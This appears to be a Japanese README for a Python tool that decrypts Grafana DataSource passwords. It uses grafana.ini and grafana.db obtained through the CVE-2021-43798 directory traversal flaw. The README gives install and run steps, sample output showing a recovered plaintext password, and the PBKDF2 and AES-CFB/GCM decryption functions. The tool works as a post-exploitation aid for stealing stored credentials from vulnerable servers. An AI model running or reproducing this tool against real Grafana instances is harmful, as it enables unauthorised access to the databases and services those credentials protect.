
CVE-2021-43798ディレクトリトラバーサルを悪用してGrafana DataSourceパスワードを復号化し、設定ファイルを取得して暗号化キーを導出します。
このスクリプトは、CVE-2021-43798の脆弱性を持つGrafanaインスタンスからDataSourceのパスワードを復号化します。この脆弱性により、未承認の任意ファイル読み取りが可能になります。
Grafanaバージョン8.0.0-beta1から8.3.0は、ディレクトリトラバーサルの脆弱性があり、未承認ユーザーがサーバー上の任意のファイルを読み取ることが可能です。このスクリプトは、この脆弱性を悪用して、grafana.ini設定ファイルにあるsecret_keyを使用してgrafana.dbファイル内のDataSourceパスワードを復号化します。
requestsquestionarytermcolorcryptographypip install requests questionary termcolor cryptography
grafana.dbおよびgrafana.iniファイルを用意してください。python decrypt.py
スクリプト内のサンプルコードのコメントを解除することで、平文パスワードを暗号化することもできます。
スクリプトはペイロードを分析して使用されている暗号化アルゴリズムを特定します。デフォルトの暗号化アルゴリズムはaes-cfbです。
導出された暗号化アルゴリズムとgrafana.iniのsecret_keyを使用して、スクリプトはDataSourceパスワードを復号化します。
スクリプトには、同じ暗号化方式とsecret_keyを使用して平文パスワードを暗号化する機能も含まれています。
######################################
GRAFANA DECRYPTOR
CVE-2021-43798 Grafana Unauthorized
arbitrary file reading vulnerability
SICARI0
######################################
? Enter the datasource password: anBneWFNQ2z+IDGhz3a7wxaqjimuglSXTeMvhbvsveZwVzreNJSw+hsV4w==
[*] grafanaIni_secretKey= SW2YcwTIb9zpOOhoPsMm
[*] DataSourcePassword= anBneWFNQ2z+IDGhz3a7wxaqjimuglSXTeMvhbvsveZwVzreNJSw+hsV4w==
[*] plainText= SuperSecureP@ssw0rd
def decrypt_gcm(block, payload):
gcm = Cipher(algorithms.AES(block), modes.GCM(payload[SALT_LENGTH:SALT_LENGTH+12]), backend=default_backend()).decryptor()
return gcm.update(payload[SALT_LENGTH+12:]) + gcm.finalize()
def decrypt_cfb(block, payload):
if len(payload) < 16:
raise ValueError("Payload too short")
iv = payload[SALT_LENGTH:SALT_LENGTH+16]
payload = payload[SALT_LENGTH+16:]
decryptor = Cipher(algorithms.AES(block), modes.CFB(iv), backend=default_backend()).decryptor()
return decryptor.update(payload) + decryptor.finalize()
def encryption_key_to_bytes(secret, salt):
kdf = PBKDF2HMAC(
algorithm=hashes.SHA256(),
length=32,
salt=salt,
iterations=10000,
backend=default_backend()
)
return kdf.derive(secret.encode())
def decrypt(payload, secret):
alg, payload = derive_encryption_algorithm(payload)
if len(payload) < SALT_LENGTH:
raise ValueError("Unable to compute salt")
salt = payload[:SALT_LENGTH]
key = encryption_key_to_bytes(secret, salt)
block = algorithms.AES(key)
if alg == AES_GCM:
return decrypt_gcm(key, payload)
else:
return decrypt_cfb(key, payload)
def encrypt(payload, secret):
salt = os.urandom(SALT_LENGTH)
key = encryption_key_to_bytes(secret, salt)
block = algorithms.AES(key)
iv = os.urandom(16)
encryptor = Cipher(algorithms.AES(key), modes.CFB(iv), backend=default_backend()).encryptor()
encrypted = encryptor.update(payload) + encryptor.finalize()
return salt + iv + encrypted
これらの関数は復号化と暗号化の処理を行います。
バグを発見した場合や改善の提案があれば、遠慮なくIssueやプルリクエストを開いてください。
このプロジェクトはMITライセンスの下で提供されています。詳細についてはLICENSEファイルを参照してください。